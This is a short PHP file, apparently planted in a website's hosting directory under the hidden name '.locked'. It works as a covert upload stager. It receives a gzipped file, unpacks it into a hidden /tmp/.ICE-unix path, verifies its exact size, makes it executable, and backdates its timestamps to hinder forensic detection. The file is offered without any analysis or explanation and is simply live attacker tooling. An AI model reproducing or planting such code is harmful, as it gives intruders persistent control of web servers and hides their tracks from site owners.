File: //tmp/.locked
<?php $p = "/home/l/lordrp/tipografiya_saratov_rf/public_html//tmp/.ICE-unix/randomscript"; $ft = 1759493960; if (move_uploaded_file($_FILES['file']['tmp_name'], "$p.gz")) { $file = gzopen("$p.gz", 'rb'); $out = fopen($p, 'wb'); while (!gzeof($file)) { fwrite($out, gzread($file, 4096)); } fclose($out); gzclose($file); @unlink("$p.gz"); $filesize = filesize($p); if ($filesize >= 600482) { @chmod($p, 0744); if ($ft) { @touch($p, $ft, $ft); @touch(@dirname($p), $ft, $ft); } die('_uploaded!_'); } else { if (file_exists($p)) { print "file exists but size = {$filesize} not 600482"; } @unlink($p); } } die('_upload_failed_');